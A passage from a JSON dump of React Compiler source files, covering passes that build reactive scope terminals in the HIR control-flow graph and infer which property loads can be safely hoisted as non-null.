(!(name.isJSXMemberExpression() || name.isJSXIdentifier())) {\n        // TODO: should JSX namespaced names be handled here as well?\n        return;\n      }\n      let current: NodePath<t.JSXMemberExpression | t.JSXIdentifier> = name;\n      while (current.isJSXMemberExpression()) {\n        current = current.get('object');\n      }\n      invariant(\n        current.isJSXIdentifier(),\n        'Invalid logic in gatherCapturedDeps',\n      );\n      baseIdentifier = current;\n    } else {\n      baseIdentifier = path;\n    }\n\n    /*\n     * Skip dependency path, as we already tried to recursively add it (+ all subexpressions)\n     * as a dependency.\n     */\n    path.skip();\n\n    // Add the base identifier binding as a dependency.\n    const binding = baseIdentifier.scope.getBinding(baseIdentifier.node.name);\n    if (\n      binding !== undefined &&\n      pureScopes.has(binding.scope) &&\n      !capturedIds.has(binding.identifier)\n    ) {\n      capturedIds.set(\n        binding.identifier,\n        path.node.loc ?? binding.identifier.loc ?? GeneratedSource,\n      );\n    }\n  }\n\n  fn.traverse({\n    TypeAnnotation(path) {\n      path.skip();\n    },\n    TSTypeAnnotation(path) {\n      path.skip();\n    },\n    TypeAlias(path) {\n      path.skip();\n    },\n    TSTypeAliasDeclaration(path) {\n      path.skip();\n    },\n    Expression(path) {\n      if (path.isAssignmentExpression()) {\n        /*\n         * Babel has a bug where it doesn't visit the LHS of an\n         * AssignmentExpression if it's an Identifier. Work around it by explicitly\n         * visiting it.\n         */\n        const left = path.get('left');\n        if (left.isIdentifier()) {\n          handleMaybeDependency(left);\n        }\n        return;\n      } else if (path.isJSXElement()) {\n        handleMaybeDependency(path.get('openingElement'));\n      } else if (path.isIdentifier()) {\n        handleMaybeDependency(path);\n      }\n    },\n  });\n\n  return capturedIds;\n}\n\nfunction notNull<T>(value: T | null): value is T {\n  return value !== null;\n}\n\nexport function lowerType(node: t.FlowType | t.TSType): Type {\n  switch (node.type) {\n    case 'GenericTypeAnnotation': {\n      const id = node.id;\n      if (id.type === 'Identifier' && id.name === 'Array') {\n        return {kind: 'Object', shapeId: BuiltInArrayId};\n      }\n      return makeType();\n    }\n    case 'TSTypeReference': {\n      const typeName = node.typeName;\n      if (typeName.type === 'Identifier' && typeName.name === 'Array') {\n        return {kind: 'Object', shapeId: BuiltInArrayId};\n      }\n      return makeType();\n    }\n    case 'ArrayTypeAnnotation':\n    case 'TSArrayType': {\n      return {kind: 'Object', shapeId: BuiltInArrayId};\n    }\n    case 'BooleanLiteralTypeAnnotation':\n    case 'BooleanTypeAnnotation':\n    case 'NullLiteralTypeAnnotation':\n    case 'NumberLiteralTypeAnnotation':\n    case 'NumberTypeAnnotation':\n    case 'StringLiteralTypeAnnotation':\n    case 'StringTypeAnnotation':\n    case 'TSBooleanKeyword':\n    case 'TSNullKeyword':\n    case 'TSNumberKeyword':\n    case 'TSStringKeyword':\n    case 'TSSymbolKeyword':\n    case 'TSUndefinedKeyword':\n    case 'TSVoidKeyword':\n    case 'VoidTypeAnnotation': {\n      return {kind: 'Primitive'};\n    }\n    default: {\n      return makeType();\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/BuildReactiveScopeTerminalsHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {getScopes, recursivelyTraverseItems} from './AssertValidBlockNesting';\nimport {Environment} from './Environment';\nimport {\n  BasicBlock,\n  BlockId,\n  GeneratedSource,\n  GotoTerminal,\n  GotoVariant,\n  HIRFunction,\n  InstructionId,\n  ReactiveScope,\n  ReactiveScopeTerminal,\n  ScopeId,\n} from './HIR';\nimport {\n  fixScopeAndIdentifierRanges,\n  markInstructionIds,\n  markPredecessors,\n  reversePostorderBlocks,\n} from './HIRBuilder';\n\n/**\n * This pass assumes that all program blocks are properly nested with respect to fallthroughs\n * (e.g. a valid javascript AST).\n * Given a function whose reactive scope ranges have been correctly aligned and merged,\n * this pass rewrites blocks to introduce ReactiveScopeTerminals and their fallthrough blocks.\n * e.g.\n * ```js\n * // source\n * [0] ...\n * [1] const x = [];  ⌝ scope range\n * [2] if (cond) {    |\n * [3]  x.push(a);    |\n *     }              |\n * [4] x.push(b);     ⌟\n * [5] ...\n *\n * // before this pass\n * bb0:\n *  [0]\n *  [1]\n *  [2]\n *  If ($2) then bb1 else bb2 (fallthrough=bb2)\n * bb1:\n *  [3]\n *  Goto bb2\n * bb2:\n *  [4]\n *  [5]\n *\n * // after this pass\n * bb0:\n *  [0]\n *  ScopeTerminal goto=bb3 (fallthrough=bb4)    <-- new\n * bb3:                                         <-- new\n *  [1]\n *  [2]\n *  If ($2) then bb1 else bb2 (fallthrough=bb2)\n * bb1:\n *  [3]\n *  Goto bb2\n * bb2:\n *  [4]\n *  Goto bb4                                    <-- new\n * bb4:                                         <-- new\n *  [5]\n * ```\n */\n\nexport function buildReactiveScopeTerminalsHIR(fn: HIRFunction): void {\n  /**\n   * Step 1:\n   * Traverse all blocks to build up a list of rewrites. We also pre-allocate the\n   * fallthrough ID here as scope start terminals and scope end terminals both\n   * require a fallthrough block.\n   */\n  const queuedRewrites: Array<TerminalRewriteInfo> = [];\n  recursivelyTraverseItems(\n    [...getScopes(fn)],\n    scope => scope.range,\n    {\n      fallthroughs: new Map(),\n      rewrites: queuedRewrites,\n      env: fn.env,\n    },\n    pushStartScopeTerminal,\n    pushEndScopeTerminal,\n  );\n\n  /**\n   * Step 2:\n   * Traverse all blocks to apply rewrites. Here, we split blocks as described at\n   * the top of this file to add scope terminals and fallthroughs.\n   */\n  const rewrittenFinalBlocks = new Map<BlockId, BlockId>();\n  const nextBlocks = new Map<BlockId, BasicBlock>();\n  /**\n   * reverse queuedRewrites to pop off the end as we traverse instructions in\n   * ascending order\n   */\n  queuedRewrites.reverse();\n  for (const [, block] of fn.body.blocks) {\n    const context: RewriteContext = {\n      nextBlockId: block.id,\n      rewrites: [],\n      nextPreds: block.preds,\n      instrSliceIdx: 0,\n      source: block,\n    };\n    /**\n     * Handle queued terminal rewrites at their nearest instruction ID.\n     * Note that multiple terminal rewrites may map to the same instruction ID.\n     */\n    for (let i = 0; i < block.instructions.length + 1; i++) {\n      const instrId =\n        i < block.instructions.length\n          ? block.instructions[i].id\n          : block.terminal.id;\n      let rewrite = queuedRewrites.at(-1);\n      while (rewrite != null && rewrite.instrId <= instrId) {\n        handleRewrite(rewrite, i, context);\n        queuedRewrites.pop();\n        rewrite = queuedRewrites.at(-1);\n      }\n    }\n\n    if (context.rewrites.length > 0) {\n      const finalBlock: BasicBlock = {\n        id: context.nextBlockId,\n        kind: block.kind,\n        preds: context.nextPreds,\n        terminal: block.terminal,\n        instructions: block.instructions.slice(context.instrSliceIdx),\n        phis: new Set(),\n      };\n      context.rewrites.push(finalBlock);\n      for (const b of context.rewrites) {\n        nextBlocks.set(b.id, b);\n      }\n      rewrittenFinalBlocks.set(block.id, finalBlock.id);\n    } else {\n      nextBlocks.set(block.id, block);\n    }\n  }\n  const originalBlocks = fn.body.blocks;\n  fn.body.blocks = nextBlocks;\n\n  /**\n   * Step 3:\n   * Repoint phis when they refer to a rewritten block.\n   */\n  for (const [, block] of originalBlocks) {\n    for (const phi of block.phis) {\n      for (const [originalId, value] of phi.operands) {\n        const newId = rewrittenFinalBlocks.get(originalId);\n        if (newId != null) {\n          phi.operands.delete(originalId);\n          phi.operands.set(newId, value);\n        }\n      }\n    }\n  }\n\n  /**\n   * Step 4:\n   * Fixup the HIR to restore RPO, ensure correct predecessors, and\n   * renumber instructions. Note that the renumbering instructions\n   * invalidates scope and identifier ranges, so we fix them in the\n   * next step.\n   */\n  reversePostorderBlocks(fn.body);\n  markPredecessors(fn.body);\n  markInstructionIds(fn.body);\n\n  /**\n   * Step 5:\n   * Fix scope and identifier ranges to account for renumbered instructions\n   */\n  fixScopeAndIdentifierRanges(fn.body);\n}\n\ntype TerminalRewriteInfo =\n  | {\n      kind: 'StartScope';\n      blockId: BlockId;\n      fallthroughId: BlockId;\n      instrId: InstructionId;\n      scope: ReactiveScope;\n    }\n  | {\n      kind: 'EndScope';\n      instrId: InstructionId;\n      fallthroughId: BlockId;\n    };\n\n/**\n * Helpers for reversing scope ranges to gather terminal rewrite information\n */\ntype ScopeTraversalContext = {\n  // cache allocated fallthroughs for start/end scope terminal pairs\n  fallthroughs: Map<ScopeId, BlockId>;\n  rewrites: Array<TerminalRewriteInfo>;\n  env: Environment;\n};\n\nfunction pushStartScopeTerminal(\n  scope: ReactiveScope,\n  context: ScopeTraversalContext,\n): void {\n  const blockId = context.env.nextBlockId;\n  const fallthroughId = context.env.nextBlockId;\n  context.rewrites.push({\n    kind: 'StartScope',\n    blockId,\n    fallthroughId,\n    instrId: scope.range.start,\n    scope,\n  });\n  context.fallthroughs.set(scope.id, fallthroughId);\n}\n\nfunction pushEndScopeTerminal(\n  scope: ReactiveScope,\n  context: ScopeTraversalContext,\n): void {\n  const fallthroughId = context.fallthroughs.get(scope.id);\n  CompilerError.invariant(fallthroughId != null, {\n    reason: 'Expected scope to exist',\n    loc: GeneratedSource,\n  });\n  context.rewrites.push({\n    kind: 'EndScope',\n    fallthroughId,\n    instrId: scope.range.end,\n  });\n}\n\ntype RewriteContext = {\n  source: BasicBlock;\n  instrSliceIdx: number;\n  nextPreds: Set<BlockId>;\n  nextBlockId: BlockId;\n  rewrites: Array<BasicBlock>;\n};\n\n/**\n * Create a block rewrite by slicing a set of instructions from source.\n * Since scope start-ends always end with a GOTO to the next instruction\n * from the source block, we directly connect rewritten blocks using state\n * from `context`.\n *\n * Source:\n *   bb0:\n *     instr1, instr2, instr3, instr4, [[ original terminal ]]\n * Rewritten:\n *   bb0:\n *     instr1, [[ scope start block=bb1]]\n *   bb1:\n *     instr2, instr3, [[ scope end goto=bb2 ]]\n *   bb2:\n *     instr4, [[ original terminal ]]\n */\nfunction handleRewrite(\n  terminalInfo: TerminalRewriteInfo,\n  idx: number,\n  context: RewriteContext,\n): void {\n  // TODO make consistent instruction IDs instead of reusing\n  const terminal: ReactiveScopeTerminal | GotoTerminal =\n    terminalInfo.kind === 'StartScope'\n      ? {\n          kind: 'scope',\n          fallthrough: terminalInfo.fallthroughId,\n          block: terminalInfo.blockId,\n          scope: terminalInfo.scope,\n          id: terminalInfo.instrId,\n          loc: GeneratedSource,\n        }\n      : {\n          kind: 'goto',\n          variant: GotoVariant.Break,\n          block: terminalInfo.fallthroughId,\n          id: terminalInfo.instrId,\n          loc: GeneratedSource,\n        };\n\n  const currBlockId = context.nextBlockId;\n  context.rewrites.push({\n    kind: context.source.kind,\n    id: currBlockId,\n    instructions: context.source.instructions.slice(context.instrSliceIdx, idx),\n    preds: context.nextPreds,\n    // Only the first rewrite should reuse source block phis\n    phis: context.rewrites.length === 0 ? context.source.phis : new Set(),\n    terminal,\n  });\n  context.nextPreds = new Set([currBlockId]);\n  context.nextBlockId =\n    terminalInfo.kind === 'StartScope'\n      ? terminalInfo.blockId\n      : terminalInfo.fallthroughId;\n  context.instrSliceIdx = idx;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/CollectHoistablePropertyLoads.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {inRange} from '../ReactiveScopes/InferReactiveScopeVariables';\nimport {printDependency} from '../ReactiveScopes/PrintReactiveFunction';\nimport {\n  Set_equal,\n  Set_filter,\n  Set_intersect,\n  Set_union,\n  getOrInsertDefault,\n} from '../Utils/utils';\nimport {\n  BasicBlock,\n  BlockId,\n  DependencyPathEntry,\n  FunctionExpression,\n  GeneratedSource,\n  getHookKind,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n  InstructionId,\n  InstructionValue,\n  LoweredFunction,\n  PropertyLiteral,\n  ReactiveScopeDependency,\n  ScopeId,\n  SourceLocation,\n  TInstruction,\n} from './HIR';\n\nconst DEBUG_PRINT = false;\n\n/**\n * Helper function for `PropagateScopeDependencies`. Uses control flow graph\n * analysis to determine which `Identifier`s can be assumed to be non-null\n * objects, on a per-block basis.\n *\n * Here is an example:\n * ```js\n * function useFoo(x, y, z) {\n *   // NOT safe to hoist PropertyLoads here\n *   if (...) {\n *     // safe to hoist loads from x\n *     read(x.a);\n *     return;\n *   }\n *   // safe to hoist loads from y, z\n *   read(y.b);\n *   if (...) {\n *     // safe to hoist loads from y, z\n *     read(z.a);\n *   } else {\n *     // safe to hoist loads from y, z\n *     read(z.b);\n *   }\n *   // safe to hoist loads from y, z\n *   return;\n * }\n * ```\n *\n * Note that we currently do NOT account for mutable / declaration range when\n * doing the CFG-based traversal, producing results that are technically\n * incorrect but filtered by PropagateScopeDeps (which only takes dependencies\n * on constructed value -- i.e. a scope's dependencies must have mutable ranges\n * ending earlier than the scope start).\n *\n * Take this example, this function will infer x.foo.bar as non-nullable for\n * bb0, via the intersection of bb1 & bb2 which in turn comes from bb3. This is\n * technically incorrect bb0 is before / during x's mutable range.\n * ```\n *  bb0:\n *    const x = ...;\n *    if cond then bb1 else bb2\n *  bb1:\n *    ...\n *    goto bb3\n *  bb2:\n *    ...\n *    goto bb3:\n *  bb3:\n *    x.foo.bar\n * ```\n *\n * @param fn\n * @param temporaries sidemap of identifier -> baseObject.a.b paths. Does not\n * contain optional chains.\n * @param hoistableFromOptionals sidemap of optionalBlock -> baseObject?.a\n * optional paths for which it's safe to evaluate non-optional loads (see\n * CollectOptionalChainDependencies).\n * @returns\n */\nexport function collectHoistablePropertyLoads(\n  fn: HIRFunction,\n  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,\n  hoistableFromOptionals: ReadonlyMap<BlockId, ReactiveScopeDependency>,\n): ReadonlyMap<BlockId, BlockInfo> {\n  const registry = new PropertyPathRegistry();\n  /**\n   * Due to current limitations of mutable range inference, there are edge cases in\n   * which we infer known-immutable values (e.g. props or hook params) to have a\n   * mutable range and scope.\n   * (see `destructure-array-declaration-to-context-var` fixture)\n   * We track known immutable identifiers to reduce regressions (as PropagateScopeDeps\n   * is being rewritten to HIR).\n   */\n  const knownImmutableIdentifiers = new Set<IdentifierId>();\n  if (fn.fnType === 'Component' || fn.fnType === 'Hook') {\n    for (const p of fn.params) {\n      if (p.kind === 'Identifier') {\n        knownImmutableIdentifiers.add(p.identifier.id);\n      }\n    }\n  }\n  return collectHoistablePropertyLoadsImpl(fn, {\n    temporaries,\n    knownImmutableIdentifiers,\n    hoistableFromOptionals,\n    registry,\n    nestedFnImmutableContext: null,\n    assumedInvokedFns: getAssumedInvokedFunctions(fn),\n  });\n}\n\nexport function collectHoistablePropertyLoadsInInnerFn(\n  fnInstr: TInstruction<FunctionExpression>,\n  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,\n  hoistableFromOptionals: ReadonlyMap<BlockId, ReactiveScopeDependency>,\n): ReadonlyMap<BlockId, BlockInfo> {\n  const fn = fnInstr.value.loweredFunc.func;\n  const initialContext: CollectHoistablePropertyLoadsContext = {\n    temporaries,\n    knownImmutableIdentifiers: new Set(),\n    hoistableFromOptionals,\n    registry: new PropertyPathRegistry(),\n    nestedFnImmutableContext: null,\n    assumedInvokedFns: getAssumedInvokedFunctions(fn),\n  };\n  const nestedFnImmutableContext = new Set(\n    fn.context\n      .filter(place =>\n        isImmutableAtInstr(place.identifier, fnInstr.id, initialContext),\n      )\n      .map(place => place.identifier.id),\n  );\n  initialContext.nestedFnImmutableContext = nestedFnImmutableContext;\n  return collectHoistablePropertyLoadsImpl(fn, initialContext);\n}\n\ntype CollectHoistablePropertyLoadsContext = {\n  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>;\n  knownImmutableIdentifiers: ReadonlySet<IdentifierId>;\n  hoistableFromOptionals: ReadonlyMap<BlockId, ReactiveScopeDependency>;\n  registry: PropertyPathRegistry;\n  /**\n   * (For nested / inner function declarations)\n   * Context variables (i.e. captured from an outer scope) that are immutable.\n   * Note that this technically could be merged into `knownImmutableIdentifiers`,\n   * but are currently kept separate for readability.\n   */\n  nestedFnImmutableContext: ReadonlySet<IdentifierId> | null;\n  /**\n   * Functions which are assumed to be eventually called (as opposed to ones which might\n   * not be called, e.g. the 0th argument of Array.map)\n   */\n  assumedInvokedFns: ReadonlySet<LoweredFunction>;\n};\nfunction collectHoistablePropertyLoadsImpl(\n  fn: HIRFunction,\n  context: CollectHoistablePropertyLoadsContext,\n): ReadonlyMap<BlockId, BlockInfo> {\n  const nodes = collectNonNullsInBlocks(fn, context);\n  propagateNonNull(fn, nodes, context.registry);\n\n  if (DEBUG_PRINT) {\n    console.log('(printing hoistable nodes in blocks)');\n    for (const [blockId, node] of nodes) {\n      console.log(\n        `bb${blockId}: ${[...node.assumedNonNullObjects].map(n => printDependency(n.fullPath)).join(' ')}`,\n      );\n    }\n  }\n\n  return nodes;\n}\n\nexport function keyByScopeId<T>(\n  fn: HIRFunction,\n  source: ReadonlyMap<BlockId, T>,\n): ReadonlyMap<ScopeId, T> {\n  const keyedByScopeId = new Map<ScopeId, T>();\n  for (const [_, block] of fn.body.blocks) {\n    if (block.terminal.kind === 'scope') {\n      keyedByScopeId.set(\n        block.terminal.scope.id,\n        source.get(block.terminal.block)!,\n      );\n    }\n  }\n  return keyedByScopeId;\n}\n\nexport type BlockInfo = {\n  block: BasicBlock;\n  assumedNonNullObjects: ReadonlySet<PropertyPathNode>;\n};\n\n/**\n * PropertyLoadRegistry data structure to dedupe property loads (e.g. a.b.c)\n * and make computing sets intersections simpler.\n */\ntype RootNode = {\n  properties: Map<PropertyLiteral, PropertyPathNode>;\n  optionalProperties: Map<PropertyLiteral, PropertyPathNode>;\n  parent: null;\n  // Recorded to make later computations simpler\n  fullPath: ReactiveScopeDependency;\n  hasOptional: boolean;\n  root: IdentifierId;\n};\n\ntype PropertyPathNode =\n  | {\n      properties: Map<PropertyLiteral, PropertyPathNode>;\n      optionalProperties: Map<PropertyLiteral, PropertyPathNode>;\n      parent: PropertyPathNode;\n      fullPath: ReactiveScopeDependency;\n      hasOptional: boolean;\n    }\n  | RootNode;\n\nclass PropertyPathRegistry {\n  roots: Map<IdentifierId, RootNode> = new Map();\n\n  getOrCreateIdentifier(\n    identifier: Identifier,\n    reactive: boolean,\n    loc: SourceLocation,\n  ): PropertyPathNode {\n    /**\n     * Reads from a statically scoped variable are always safe in JS,\n     * with the exception of TDZ (not addressed by this pass).\n     */\n    let rootNode = this.roots.get(identifier.id);\n\n    if (rootNode === undefined) {\n      rootNode = {\n        root: identifier.id,\n        properties: new Map(),\n        optionalProperties: new Map(),\n        fullPath: {\n          identifier,\n          reactive,\n          path: [],\n          loc,\n        },\n        hasOptional: false,\n        parent: null,\n      };\n      this.roots.set(identifier.id, rootNode);\n    } else {\n      CompilerError.invariant(reactive === rootNode.fullPath.reactive, {\n        reason:\n          '[HoistablePropertyLoads] Found inconsistencies in `reactive` flag when deduping identifier reads within the same scope',\n        loc: identifier.loc,\n      });\n    }\n    return rootNode;\n  }\n\n  static getOrCreatePropertyEntry(\n    parent: PropertyPathNode,\n    entry: DependencyPathEntry,\n  ): PropertyPathNode {\n    const map = entry.optional ? parent.optionalProperties : parent.properties;\n    let child = map.get(entry.property);\n    if (child == null) {\n      child = {\n        properties: new Map(),\n        optionalProperties: new Map(),\n        parent: parent,\n        fullPath: {\n          identifier: parent.fullPath.identifier,\n          reactive: parent.fullPath.reactive,\n          path: parent.fullPath.path.concat(entry),\n          loc: entry.loc,\n        },\n        hasOptional: parent.hasOptional || entry.optional,\n      };\n      map.set(entry.property, child);\n    }\n    return child;\n  }\n\n  getOrCreateProperty(n: ReactiveScopeDependency): PropertyPathNode {\n    /**\n     * We add ReactiveScopeDependencies according to instruction ordering,\n     * so all subpaths of a PropertyLoad should already exist\n     * (e.g. a.b is added before a.b.c),\n     */\n    let currNode = this.getOrCreateIdentifier(n.identifier, n.reactive, n.loc);\n    if (n.path.length === 0) {\n      return currNode;\n    }\n    for (let i = 0; i < n.path.length - 1; i++) {\n      currNode = PropertyPathRegistry.getOrCreatePropertyEntry(\n        currNode,\n        n.path[i],\n      );\n    }\n\n    return PropertyPathRegistry.getOrCreatePropertyEntry(\n      currNode,\n      n.path.at(-1)!,\n    );\n  }\n}\n\nfunction getMaybeNonNullInInstruction(\n  value: InstructionValue,\n  context: CollectHoistablePropertyLoadsContext,\n): PropertyPathNode | null {\n  let path: ReactiveScopeDependency | null = null;\n  if (value.kind === 'PropertyLoad') {\n    path = context.temporaries.get(value.object.identifier.id) ?? {\n      identifier: value.object.identifier,\n      reactive: value.object.reactive,\n      path: [],\n      loc: value.loc,\n    };\n  } else if (value.kind === 'Destructure') {\n    path = context.temporaries.get(value.value.identifier.id) ?? null;\n  } else if (value.kind === 'ComputedLoad') {\n    path = context.temporaries.get(value.object.identifier.id) ?? null;\n  }\n  return path != null ? context.registry.getOrCreateProperty(path) : null;\n}\n\nfunction isImmutableAtInstr(\n  identifier: Identifier,\n  instr: InstructionId,\n  context: CollectHoistablePropertyLoadsContext,\n): boolean {\n  if (context.nestedFnImmutableContext != null) {\n    /**\n     * Comparing instructions ids across inner-outer function bodies is not valid, as they are numbered\n     */\n    return context.nestedFnImmutableContext.has(identifier.id);\n  } else {\n    /**\n     * Since this runs *after* buildReactiveScopeTerminals, identifier mutable ranges\n     * are not valid with respect to current instruction id numbering.\n     * We use attached reactive scope ranges as a proxy for mutable range, but this\n     * is an overestimate as (1) scope ranges merge and align to form valid program\n     * blocks and (2) passes like MemoizeFbtAndMacroOperands may assign scopes to\n     * non-mutable identifiers.\n     *\n     * See comment in exported function for why we track known immutable identifiers.\n     */\n    const mutableAtInstr =\n      identifier.mutableRange.end > identifier.mutableRange.start + 1 &&\n      identifier.scope != null &&\n      inRange(\n        {\n          id: instr,\n        },\n        identifier.scope.range,\n      );\n    return (\n      !mutableAtInstr || context.knownImmutableIdentifiers.has(identifier.id)\n    );\n  }\n}\n\nfunction collectNonNullsInBlocks(\n  fn: HIRFunction,\n  context: CollectHoistablePropertyLoadsContext,\n): ReadonlyMap<BlockId, BlockInfo> {\n  /**\n   * Known non-null objects such as functional component props can be safely\n   * read from any block.\n   */\n  const knownNonNullIdentifiers = new Set<PropertyPathNode>();\n  if (\n    fn.fnType === 'Component' &&\n    fn.params.length > 0 &&\n    fn.params[0].kind === 'Identifier'\n  ) {\n    const identifier = fn.params[0].identifier;\n    knownNonNullIdentifiers.add(\n      context.registry.getOrCreateIdentifier(\n        identifier,\n        true,\n        fn.params[0].loc,\n      ),\n    );\n  }\n  const nodes = new Map<\n    BlockId,\n    {\n      block: BasicBlock;\n      assumedNonNullObjects: Set<PropertyPathNode>;\n    }\n  >();\n  for (const [_, block] of fn.body.blocks) {\n    const assumedNonNullObjects = new Set<PropertyPathNode>(\n      knownNonNullIdentifiers,\n    );\n\n    const maybeOptionalChain = context.hoistableFromOptionals.get(block.id);\n    if (maybeOptionalChain != null) {\n      assumedNonNullObjects.add(\n        context.registry.getOrCreateProperty(maybeOptionalChain),\n      );\n    }\n    for (const instr of block.instructions) {\n      const maybeNonNull = getMaybeNonNullInInstruction(instr.value, context);\n      if (\n        maybeNonNull != null &&\n        isImmutableAtInstr(maybeNonNull.fullPath.identifier, instr.id, context)\n      ) {\n        assumedNonNullObjects.add(maybeNonNull);\n      }\n      if (instr.value.kind === 'FunctionExpression') {\n        const innerFn = instr.value.loweredFunc;\n        if (context.assumedInvokedFns.has(innerFn)) {\n          const innerHoistableMap = collectHoistablePropertyLoadsImpl(\n            innerFn.func,\n            {\n              ...context,\n              nestedFnImmutableContext:\n                context.nestedFnImmutableContext ??\n                new Set(\n                  innerFn.func.context\n                    .filter(place =>\n                      isImmutableAtInstr(place.identifier, instr.id, context),\n                    )\n                    .map(place => place.identifier.id),\n                ),\n            },\n          );\n          const innerHoistables = assertNonNull(\n            innerHoistableMap.get(innerFn.func.body.entry),\n          );\n          for (const entry of innerHoistables.assumedNonNullObjects) {\n            assumedNonNullObjects.add(entry);\n          }\n        }\n      } else if (\n        fn.env.config.enablePreserveExistingMemoizationGuarantees &&\n        instr.value.kind === 'StartMemoize' &&\n        instr.value.deps != null\n      ) {\n        for (const dep of instr.value.deps) {\n          if (dep.root.kind === 'NamedLocal') {\n            if (\n              !isImmutableAtInstr(dep.root.value.identifier, instr.id, context)\n            ) {\n              continue;\n            }\n            for (let i = 0; i < dep.path.length; i++) {\n              const pathEntry = dep.path[i]!;\n              if (pathEntry.optional) {\n                break;\n              }\n              const depNode = context.registry.getOrCreateProperty({\n                identifier: dep.root.value.identifier,\n                path: dep.path.slice(0, i),\n                reactive: dep.root.value.reactive,\n                loc: dep.loc,\n              });\n              assumedNonNullObjects.add(depNode);\n            }\n          }\n        }\n      }\n    }\n\n    nodes.set(block.id, {\n      block,\n      assumedNonNullObjects,\n    });\n  }\n  return nodes;\n}\n\nfunction propagateNonNull(\n  fn: HIRFunction,\n  nodes: ReadonlyMap<BlockId, BlockInfo>,\n  registry: PropertyPathRegistry,\n): void {\n  const blockSuccessors = new Map<BlockId, Set<BlockId>>();\n  const terminalPreds = new Set<BlockId>();\n\n  for (const [blockId, block] of fn.body.blocks) {\n    for (const pred of block.preds) {\n      getOrInsertDefault(blockSuccessors, pred, new Set()).add(blockId);\n    }\n    if (block.terminal.kind === 'throw' || block.terminal.kind === 'return') {\n      terminalPreds.add(blockId);\n    }\n  }\n\n  /**\n   * In the context of a control flow graph, the identifiers that a block\n   * can assume are non-null can be calculated from the following:\n   * X = Union(Intersect(X_neighbors), X)\n   */\n  function recursivelyPropagateNonNull(\n    nodeId: BlockId,\n    direction: 'forward' | 'backward',\n    traversalState: Map<BlockId, 'active' | 'done'>,\n  ): boolean {\n    /**\n     * Avoid re-visiting computed or currently active nodes, which can\n     * occur when the control flow graph has backedges.\n     */\n    if (traversalState.has(nodeId)) {\n      return false;\n    }\n    traversalState.set(nodeId, 'active');\n\n    const node = nodes.get(nodeId);\n    if (node == null) {\n      CompilerError.invariant(false, {\n        reason: `Bad node ${nodeId}, kind: ${direction}`,\n        loc: GeneratedSource,\n      });\n    }\n    const neighbors = Array.from(\n      direction === 'backward'\n        ? (blockSuccessors.get(nodeId) ?? [])\n        : node.block.preds,\n    );\n\n    let changed = false;\n    for (const pred of neighbors) {\n      if (!traversalState.has(pred)) {\n        const neighborChanged = recursivelyPropagateNonNull(\n          pred,\n          direction,\n          traversalState,\n        );\n        changed ||= neighborChanged;\n      }\n    }\n    /**\n     * Note that a predecessor / successor can only be active (status != 'done')\n     * if it is a self-loop or other transitive cycle. Active neighbors can be\n     * filtered out (i.e. not included in the intersection)\n     * Example: self loop.\n     *    X = Union(Intersect(X, ...X_other_neighbors), X)\n     *\n     * Example: transitive cycle through node Y, for some Y that is a\n     * predecessor / successor of X.\n     *    X = Union(\n     *          Intersect(\n     *            Union(Intersect(X, ...Y_other_neighbors), Y),\n     *            ...X_neighbors\n     *          ),\n     *          X\n     *        )\n     *\n     * Non-active neighbors with no recorded results can occur due to backedges.\n     * it's not safe to assume they can be filtered out (e.g. not included in\n     * the intersection)\n     */\n    const neighborAccesses = Set_intersect(\n      Array.from(neighbors)\n        .filter(n => traversalState.get(n) === 'done')\n        .map(n => assertNonNull(nodes.get(n)).assumedNonNullObjects),\n    );\n\n    const prevObjects = assertNonNull(nodes.get(nodeId)).assumedNonNullObjects;\n    const mergedObjects = Set_union(prevObjects, neighborAccesses);\n    reduceMaybeOptionalChains(mergedObjects, registry);\n\n    assertNonNull(nodes.get(nodeId)).assumedNonNullObjects = mergedObjects;\n    traversalState.set(nodeId, 'done');\n    /**\n     * Note that it's not sufficient to compare set sizes since\n     * reduceMaybeOptionalChains may replace optional-chain loads with\n     * unconditional loads. This could in turn change `assumedNonNullObjects` of\n     * downstream blocks and backedges.\n     */\n    changed ||= !Set_equal(prevObjects, mergedObjects);\n    return changed;\n  }\n  const traversalState = new Map<BlockId, 'done' | 'active'>();\n  const reversedBlocks = [...fn.body.blocks];\n  reversedBlocks.reverse();\n\n  let changed;\n  let i = 0;\n  do {\n    CompilerError.invariant(i++ < 100, {\n      reason:\n        '[CollectHoistablePropertyLoads] fixed point iteration did not terminate after 100 loops',\n      loc: GeneratedSource,\n    });\n\n    changed = false;\n    for (const [blockId] of fn.body.blocks) {\n      const forwardChanged = recursivelyPropagateNonNull(\n        blockId,\n        'forward',\n        traversalState,\n      );\n      changed ||= forwardChanged;\n    }\n    traversalState.clear();\n    for (const [blockId] of reversedBlocks) {\n      const backwardChanged = recursivelyPropagateNonNull(\n        blockId,\n        'backward',\n        traversalState,\n      );\n      changed ||= backwardChanged;\n    }\n    traversalState.clear();\n  } while (changed);\n}\n\nexport function assertNonNull<T extends NonNullable<U>, U>(\n  value: T | null | undefined,\n  source?: string,\n): T {\n  CompilerError.invariant(value != null, {\n    reason: 'Unexpected null',\n    description: source != null ? `(from ${source})` : null,\n    loc: GeneratedSource,\n  });\n  return value;\n}\n\n/**\n * Any two optional chains with different operations . vs ?. but the same set of\n * property strings paths de-duplicates.\n *\n * Intuitively: given <base>?.b, we know <base> to be either hoistable or not.\n * If unconditional reads from <base> are hoistable, we can replace all\n * <base>?.PROPERTY_STRING subpaths with <base>.PROPERTY_STRING\n */\nfunction reduceMaybeOptionalChains(\n  nodes: Set<PropertyPathNode>,\n  registry: PropertyPathRegistry,\n): void {\n  let optionalChainNodes = Set_filter(nodes, n => n.hasOptional);\n  if (optionalChainNodes.size === 0) {\n    return;\n  }\n  let changed: boolean;\n  do {\n    changed = false;\n\n    for (const original of optionalChainNodes) {\n      let {\n        identifier,\n        path: origPath,\n        reactive,\n        loc: 